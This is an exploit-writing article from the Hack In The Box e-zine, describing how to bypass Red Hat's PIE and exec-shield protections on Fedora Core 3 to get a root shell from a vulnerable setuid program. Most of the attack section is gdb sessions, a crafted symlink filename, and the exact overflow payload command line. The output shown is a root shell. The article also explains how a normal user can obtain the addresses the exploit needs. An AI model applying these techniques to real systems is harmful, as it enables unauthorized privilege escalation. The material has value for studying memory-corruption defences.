A Solution To Red Hat PIE Protection
By: Zarul Shahrin
The paper has been specially re-written for the Hack In The Box E-Zine. The solution part is totally new and not in the original paper posted on Bugtraq. Much thanks to L33tdawg for giving me
the chance to include my paper.
I read a great article written by Vangelis about exploiting local vulnerabilities under
Fedora 2. It was a great article but our Redhat Security Expert, Arjan van de Ven said that the author did not compile the vulnerable program into PIE executable:
"2) You did not make your application a PIE executable (you can do so
with gcc -fpie -pie vul.c -o vul ). PIE executables are in themselves
randomized, and in addition will ignore the prelink "fixing" of
addresses, and thus making it near impossible to find the address of
the app you want to exploit[1], unless you do it from the same
debugging session (but if you can attach a debugger you fully own the
app anyway) Most (if not all) network facing daemons in FC are
compiled as PIE for this reason, and we're in progress to extending
that to other "sensitive" binaries"
Take note of this part:
"PIE executables are in themselves
randomized, and in addition will ignore the prelink "fixing" of
addresses, and thus making it near impossible to find the address of
the app you want to exploit.."
Did he say the words "Near Impossible"?
Is it really "near impossible"? Let us check it out now... First of all, this is the vuln program as listed in Vengelis's paper:
Btw, all the work below was done under Fedora 3. So any improvements from Fedora 2 would be in this version. I started this work exactly after a fresh instal which of course took a longer time than finding out how to exploit this program. So no patches were applied.
[zarul@localhost exercise]$ cat /proc/version
Linux version 2.6.9-1.667 (bhcompile@tweety.build.redhat.com) (gcc version 3.4.2 20041017
Red Hat 3.4.2-6.fc3)) #1 Tue Nov 2 14:41:25 EST 2004
[zarul@localhost exercise]$
Ok... Now lets compile our "Vulnerable" program. I will compile the vulnerable
program as Arjan van de Ven said:
Ok... Did I do this the correct way bro?
Let's do some debugging.
[root@localhost exercise]# gdb ./vul
GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)
...Using host libthread_db library "/lib/tls/libthread_db.so.1".
WTF? Where is the NULL pointer dereference protection?
Is the protection ON? Let me check it...
[zarul@localhost exercise]$ cat /proc/sys/kernel/exec-shield 2
[zarul@localhost exercise]$
The echoed value is 2 which according to the latest "Exec-Shield" Document.
says that:
"2 This option is similar to 1,but all binaries which do not have a PTGNUSTACK entry are executed without executable stack.This option is useful to prevent introducing problems by importing binaries. Every unmarked binary which does need an executable stack would have to be treated with execstack add the program header entry."
So it should be ok right? Let us check exec-shield-randomize now.
[zarul@localhost exercise]$ cat /proc/sys/kernel/exec-shield-randomize 1
[zarul@localhost exercise]$
The value is 1. So it means that the stack addresses etc. are randomized.
" -1- Randomized VM mapping is enabled"
Let us check the last thing...
[zarul@localhost exercise]$ eu-readelf -l vul | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x000000 0x000000 RW 0x4
[zarul@localhost exercise]$
From the documentation, the presence of the flag value RW means the stack is not executable. So everything sounds secure right? But I don't think so!
After I found the execl+3 address, I realized about something, so I compiled another vulnerable program called vul2 but this time without the PIE option.
Then I display the contents of section headers with objdump:
Ok, now see the contents of section headers of our vulnerable program compiled with the PIE
option:
Ahaks!!! Can you see those NULL bytes? So does it mean that we can't use the method used by Vangelis in his paper? My answer is YES! It is still possible to use that method! But, as some of you might ask; HOW?
This is how we are going to do it...
As you guys know, with those NULL bytes,we can't manipulate the _GLOBAL_OFFSET_TABLE_ as
Vangelis did in his paper, but it doesn't mean we can't manipulate other parts. Remember, as an exploit writer, we must always be creative when writing our exploits as we need to be "one-step-ahead" of those people that call themselves "security experts"!
So after playing around with the program I found a lot of places that we can manipulate and this is one of them:
(gdb) x/8x 0xf6fd9d60
0xf6fd9d60 : 0x0000001f 0x00000003 0xf6fd90c0 0xf6fd76b4
0xf6fd9d70 : 0x00000000 0x00000000 0x00000000 0x00000000
Yehaaa!!!! And now this will be our file name.
(gdb) x/2x 0xf6fd90c0
0xf6fd90c0 : 0xffffffff 0x00000003
(gdb)
Yippies! Let us make a symbolic link now!
[zarul@localhost exercise]$ ln -ns /home/zarul/exercise/exploit1 "`perl -e 'print "xffxffxffxffx03"'`"
[zarul@localhost exercise]$
Ok. Are you ready kids? We will now exploit the program!
[zarul@localhost exercise]$ ./vul `perl -e 'print"A"x264,"x60x9dxfdxf6x23xf7xf3xf6"'`
sh-3.00# id
uid=0(root) gid=500(zarul) groups=500(zarul)
sh-3.00#
Oh My Goat! We defeated the improved "exec-barrier" for the second time!
After I released my 1st paper on Bugtraq, Vangelis pointed out this problem. An issue which I didn't realize when I wrote my 1st paper:
"Good job, fr0z3n!
I had finished testing before you announced the solution. But there was one problem left.
It is that I can't get address of execl() and other necessary adresses by using gdb when I am a normal user.
I can get the addresses by using gdb when I am root. There also seems to be one problem in your test.
You got the addresses by using gdb when you are in root state.
Do you know any solution about that? I mean, when I compile a program with -pie option, how can I use gdb to get the
essential information for exploitation?"
2 days later, I got the free time to look after the problem after giving out some theories which I did't know whether it would work or not. I tried to compile and debug the program as root and later on as a normal user:
As you can see, we are unable to locate the address of execl() and it made me understand now that it is one of the protection mentioned by Arjan.
Well who cares if it can't work when there are many ways you can get the address easily!? Here is the easiest solution for this vulnerable program (there are some other ways):
[zarul@localhost exercise]$ gcc vul.c -fpie -pie -o vul-not-suid
[zarul@localhost exercise]$ gdb -q vul-not-suid
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x5d4
(gdb) r
Starting program: /home/zarul/exercise/vul-not-suid
(no debugging symbols found)...Breakpoint 1 at 0xf6fff5d4
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0xf6fff5d4 in main () from /home/zarul/exercise/vul-not-suid
(gdb) disas execl
Dump of assembler code for function execl:
0xf6f3f720 : push %ebp
0xf6f3f721 : mov %esp,%ebp
0xf6f3f723 : lea 0x10(%ebp),%ecx
0xf6f3f726 : push %edi
0xf6f3f727 : push %esi
0xf6f3f728 : push %ebx
0xf6f3f729 : sub $0x1038,%esp
0xf6f3f72f : mov 0xc(%ebp),%eax
0xf6f3f732 : movl $0x400,0xfffffff0(%ebp)
0xf6f3f739 : lea 0x1b(%esp),%edx
0xf6f3f73d : and $0xfffffff0,%edx
0xf6f3f740 : call 0xf6ecac71
0xf6f3f745 : add $0x998af,%ebx
0xf6f3f74b : mov %eax,(%edx)
0xf6f3f74d : test %eax,%eax
0xf6f3f74f : mov %ecx,0xffffffe8(%ebp)
0xf6f3f752 : movl $0x1,0xffffffec(%ebp)
0xf6f3f759 : je 0xf6f3f7e0
0xf6f3f75f : movl $0x1a,0xffffffe0(%ebp)
0xf6f3f766 : jmp 0xf6f3f783
0xf6f3f768 : addl $0x8,0xffffffe0(%ebp)
0xf6f3f76c : mov 0xffffffe8(%ebp),%edi
---Type to continue, or q > to quit---
Ok! What happened above was, as a normal user I compiled the same vulnerable program again (vuln.c) and then debugged it with GDB. As you can see you would be able to get the address of execl() and other necessary addresses. Compare this with the address you got from the suid vulnerable program when debugged at root state; It's the same right?
I believe the problem has now been solved. However some of you might be asking, "This is just a small vulnerable program where we can compile it as a normal user, what about a big program like Apache etc." My answer would be: Use your brain! I have told you everything you need to know! The only thing you need to do to solve that problem is to read this solution again and try to understand something and do some experiments. The answer is already there..
Tip: If you really have no idea what I was talking about, run Paxtest and see
the randomization results!
Btw, this is my final solution on this issue. I wrote this paper cause I don't want to leave my work half-way when there are still unsolved problems with my first paper.
I know this paper might sound lame for some people, so for comments and criticism: zarul_shahrin -at- yahoo.com
Greetz:
L33tdawg == For giving me the chance to have my article on HITB.
CMN == One of the people out there that I respect the most.
Vangelis == For such a great paper!I wish that I will have the chance to know you.
Beist == I don't know who you really are but I think you must be an intelligent person.
Linus Torvalds == For creating such a wonderful Operating System.
Red Hat == I'll still use this distro no matter what happens.
Some of the Kiddies out there == That started to learn how to be something
"REAL". I believe some of you guys might be "someone" one day. So stop defacing and learn some programming.
References:
Hack In The Box
http://www.hackinthebox.org
How to Exploit Overflow Vulnerability Under Fedora Core By Vangelis
http://www.neworder.box.sk/newsread.php?newsid=13007
Exec-shield Description
http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield (OLD)
http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf
Description of security enhancements in RHEL/FC
http://people.redhat.com/drepper/nonselsec.pdf
1.) A Solution To Red Hat PIE Protection - Zarul Shahrin
2.) The Convergence of Hacking and Security Tools - Don Parker
3.) Testifying in a Computer Crimes Case - Deb Shinder
4.) How to Build a Simple Wireless Authenticated Gateway (SWAG) Using OpenBSD - Rosli Sukri
5.) Protecting the Administrator Account - Derek Melber
6.) Mobile Systems: A Threat to Corporate Security - Fernando de la Cuadra
